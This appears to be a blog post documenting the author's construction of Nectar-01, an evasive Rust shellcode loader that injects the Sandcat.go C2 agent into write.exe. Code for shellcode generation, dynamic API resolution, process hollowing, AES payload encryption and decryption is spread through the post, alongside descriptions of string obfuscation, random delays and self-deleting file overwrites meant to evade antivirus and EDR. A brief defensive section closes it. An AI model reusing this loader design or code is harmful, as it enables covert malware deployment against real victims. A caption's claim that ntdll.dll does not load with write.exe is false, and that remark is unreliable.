The Story of Nectar-01: A Home Brewed Evasive Malware

Please don’t let the singular catch fool you. I accidentally enabled Symantec while I was developing the malware and it picked it up in an early stage and I couldn’t shake it off since. You can find the whole analysis on VirusTotal here where many better solutions failed to detected the techniques.

In this article, I will document the creation of Nectar-01, a Rust-based shellcode loader that employs advanced techniques like process hollowing and dynamic syscall resolution to deploy and run malware stealthily. The goal is to load the “sandcat.go” malware into a legitimate process (write.exe), allowing it to connect back to a Command and Control (C2) server while bypassing detection mechanisms such as Endpoint Detection and Response (EDR) systems.

This guide will focus on the critical aspects of Nectar-01, including:

  1. Generating Shellcode from Sandcat.Go
  2. Dynamic API Resolution for Stealthy System Call Usage
  3. Process Hollowing to Inject Shellcode into a Legitimate Process
  4. Shellcode Encryption to Protect the Payload in Transit and Memory
  5. Self-Deletion to Erase Traces After Successful Execution
  6. Evasion Techniques Employed to Stay Undetected
  7. Mitigation Strategies and Defensive Recommendations

1. Generating Shellcode from Sandcat.go

The first step in creating Nectar-01 involved dynamically turning the Sandcat.go malware into shellcode, which is later injected into a legitimate process. One critical component of this process was generating and encrypting the shellcode to bypass detection.

Sandcat.go Overview

Sandcat.go is a malware agent typically used for post-exploitation tasks, such as reconnaissance, file exfiltration, privilege escalation, and maintaining persistence. It connects to a C2 server, receives instructions, and executes various operations on the infected machine.

In Nectar-01, Sandcat.go was transformed into position-independent shellcode, a compact piece of code that can be directly injected into memory and executed within a legitimate process. This approach bypasses typical file-based malware detection mechanisms.

Shellcode Generation Using Donut

The Donut tool was used to convert the compiled Sandcat.Go executable into shellcode. Donut is widely used for transforming executables into shellcode that can be injected into memory for execution. Here’s a sample Python code snippet using Donut to generate shellcode:

import donut

def create_shellcode(exe_path, params):
try:
shellcode = donut.create(file=exe_path, params=params)
return shellcode
except Exception as e:
print(f"Error creating shellcode: {e}")
return None

Explanation:

  • donut.create: Converts the Sandcat.Go binary into shellcode.
  • params: Allows customization, such as providing the C2 server address or group settings at runtime.

2. Dynamic Syscall Resolution for Stealthy System Call Usage

EDR systems frequently flag malware by identifying suspicious API calls such as memory allocation or thread creation. Nectar-01 circumvents this by resolving system APIs dynamically at runtime instead of statically linking them during compilation.

Dynamic Syscall Resolution

Nectar-01 avoids directly calling functions like NtAllocateVirtualMemory or NtWriteVirtualMemory by resolving these system calls dynamically from memory, making it harder for security solutions to detect malicious activity based on static analysis.

unsafe fn resolve_syscall(module_name: &str, function_name: &str) -> Option<unsafe extern "system" fn() -> u32> {
let wide_module_name: Vec<u16> = OsStr::new(module_name).encode_wide().chain(Some(0)).collect();
let module_handle = GetModuleHandleW(wide_module_name.as_ptr());
if module_handle.is_null() {
return None;
}

let c_string = std::ffi::CString::new(function_name).unwrap();
let function_address = GetProcAddress(module_handle, c_string.as_ptr());
if function_address.is_null() {
None
} else {
Some(transmute(function_address))
}
}

Explanation:

  • GetModuleHandleW: Retrieves the base address of a loaded module (e.g., ntdll.dll).
  • GetProcAddress: Resolves the function's address at runtime, dynamically fetching the necessary system call.

By dynamically resolving syscalls, Nectar-01 significantly reduces its detection footprint.

3. Process Hollowing: Injecting Shellcode into a Legitimate Process

Process hollowing allows Nectar-01 to inject shellcode into a legitimate process, hijacking its execution. In this case, the shellcode is injected into write.exe, a trusted system process.

Steps of Process Hollowing:

  1. Create a Suspended Process: A legitimate process (write.exe) is created in a suspended state.
  2. Allocate Memory in the Target Process: Using dynamically resolved NtAllocateVirtualMemory, memory is allocated in the target process.
  3. Inject Shellcode: The shellcode is written into the target memory using NtWriteVirtualMemory.
  4. Resume the Process: The process is resumed, executing the shellcode in the context of the legitimate process.
unsafe fn inject_shellcode(shellcode: Vec<u8>, target_process: &str) -> io::Result<()> {
let mut startup_info: STARTUPINFOW = std::mem::zeroed();
let mut process_info: PROCESS_INFORMATION = std::mem::zeroed();
startup_info.cb = std::mem::size_of::<STARTUPINFOW>() as u32;

let wide_target_process: Vec<u16> = OsStr::new(target_process).encode_wide().chain(Some(0)).collect();
if CreateProcessW(null_mut(), wide_target_process.as_ptr() as *mut u16, null_mut(), null_mut(), 0, CREATE_SUSPENDED, null_mut(), null_mut(), &mut startup_info, &mut process_info) == 0 {
return Err(io::Error::last_os_error());
}

// Dynamically resolve system functions and inject shellcode
ResumeThread(process_info.hThread);
CloseHandle(process_info.hProcess);
CloseHandle(process_info.hThread);
Ok(())
}
Wait… since when does ntdll.dll load with write.exe?! (it doesn’t.)
kernel32.dll being loaded as part of write.exe’s modules

4. Shellcode Encryption: Protecting the Payload

To evade detection, Nectar-01 encrypts the shellcode using AES-CBC before injection. This ensures that the payload remains hidden until decrypted in memory. Additionally, this allows for a diverse set of encrypted shellcodes to be used, like meterpreter. Yes, even meterpreter works with this approach.

from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
import binascii

def encrypt_payload(shellcode, key=None, iv=None, encrypted_path=None):
key = binascii.unhexlify(key)
iv = binascii.unhexlify(iv)
cipher = AES.new(key, AES.MODE_CBC, iv)
encrypted_payload = cipher.encrypt(pad(shellcode, AES.block_size))
with open(encrypted_path, 'wb') as encrypted_file:
encrypted_file.write(encrypted_payload)

5. Shellcode Decryption: Concealing the Payload

The encrypted shellcode is decrypted only in memory, further complicating detection.

fn decrypt_shellcode(encrypted_shellcode: Vec<u8>) -> io::Result<Vec<u8>> {
let key = decode("<AES-KEY>").unwrap();
let iv = decode("<IV>").unwrap();
let cipher = Aes128Cbc::new_from_slices(&key, &iv).unwrap();
let decrypted_shellcode = cipher.decrypt_vec(&encrypted_shellcode).unwrap();
Ok(decrypted_shellcode)
}

6. Self-Deletion and Evasion Techniques

Once the shellcode executes, Nectar-01 deletes itself from disk, removing traces of its presence. The loader leverages several evasion techniques to remain undetected:

  • Dynamic Syscall Resolution: Avoids static API calls.
  • Process Hollowing: Executes the malware in the context of a legitimate process.
  • Memory-Based Execution: Decrypts the payload only in memory, bypassing disk-based scanning.

7. Code Obfuscation to Evade Static Analysis

Before concluding, it’s essential to examine the obfuscation tactics implemented in the Nectar-01 script, which make it difficult for detection systems to identify malicious behavior. These tactics include hiding the malware’s functionality within seemingly benign code, dynamic resolution of system calls, and altering data formats to prevent pattern-based detection.

  1. Dynamic System Call Resolution: Nectar-01 avoids static linking of suspicious API calls by dynamically resolving them at runtime. This method ensures that the APIs aren’t visible in the binary before execution, making it harder for signature-based antivirus solutions to flag the malware. The function func1 demonstrates how system calls like NtAllocateVirtualMemory or NtWriteVirtualMemory are dynamically loaded from modules such as ntdll.dll, ensuring that malicious activity doesn't leave detectable patterns in the executable file.
  2. String Obfuscation: Strings like file paths, URLs, and function names are split into fragments and concatenated at runtime, preventing static string analysis tools from recognizing sensitive information. For example, the strings for module names and system calls are split into pieces, such as ["Nt", "Allo", "cate", "Virt", "ualM", "emor", "y"].concat() for NtAllocateVirtualMemory. This makes it more challenging for reverse engineering tools to detect the malware's intentions.
  3. Shellcode Obfuscation and Encryption: Shellcode, the actual payload, is encrypted using AES encryption in CBC mode before being injected into the target process. Only when the malware is in memory is the shellcode decrypted, making it difficult for file-based detection mechanisms to inspect or scan the code on disk. Functions like func4 are responsible for decrypting this payload in memory using pre-defined keys and IVs, further complicating any memory-based forensics attempting to monitor code execution.
  4. Randomization Techniques: The script employs random delays in execution using tokio::time::sleep and random number generators to introduce variability in its behavior. This prevents behavioral detection systems from noticing consistent malicious patterns during execution, as the malware exhibits different timing behaviors every time it's run.
  5. File Manipulation and Overwriting: After execution, Nectar-01 modifies and overwrites files with random data to eliminate traces of its presence. The update_file function, for example, overwrites both the malware's loader and the target process files with random bytes, ensuring that no static forensic evidence remains on the disk.

These obfuscation techniques work in unison to obscure the malware’s intent, making Nectar-01 extremely challenging to detect using traditional antivirus methods, and necessitating the use of advanced behavioral or memory-based detection mechanisms.

8. Mitigation Strategies and Defensive Recommendations

While Nectar-01 employs advanced evasion tactics, EDR systems can still offer robust defense mechanisms. Below are some recommendations:

  • Behavioral Detection: Some EDR Solutions use behavioral analysis to detect anomalies in memory manipulation and process execution.
  • Memory-Based Detection: EDR tools analyze memory access patterns, catching Nectar-01’s dynamic API resolution and in-memory decryption techniques.
  • Proactive Threat Hunting: Regularly scanning for suspicious memory allocations or API usage can help detect evasive malware.

Conclusion

Nectar-01 exemplifies how modern malware can leverage Rust to create stealthy loaders that bypass detection methods, including EDR systems. Using techniques like process hollowing, dynamic syscall resolution, and in-memory shellcode execution, Nectar-01 ensures minimal risk of detection while delivering payloads like Sandcat.Go.

As malware techniques continue to evolve, it remains crucial for defenders to adapt their strategies to counter these sophisticated threats effectively. From a defensive point of view, I think it should always be safe to assume that Anti-Virus (AV) solutions will often struggle to detect new and sophisticated attacks. This is due to the reliance of traditional AV systems on signature-based detection, which fails against malware that uses techniques like dynamic syscall resolution, in-memory execution, and process hollowing — all of which leave little to no static footprint.

Malware authors frequently exploit these gaps by creating evasive loaders like Nectar-01, which evade static signatures and rely on dynamic behaviors that traditional AV software cannot easily flag. For defenders, the focus must shift toward behavioral detection, anomaly analysis, and memory forensics offered by modern EDR solutions. These tools are better equipped to detect unusual patterns in memory, suspicious process behaviors, and anomalous API usage that bypass traditional defenses.

Ultimately, assuming that AV alone will always fall short forces security teams to adopt a more proactive and multi-layered defense strategy, utilizing advanced techniques such as threat hunting, sandboxing, and real-time behavioral analysis to keep pace with rapidly evolving malware like Nectar-01.

Previous
Previous

Pedagogy of Artificial Intelligence: Overfitting and Complacency of Intelligence

Next
Next

Embracing Open Source for Advanced Endpoint Detection and Response: A Comprehensive EDR Solution…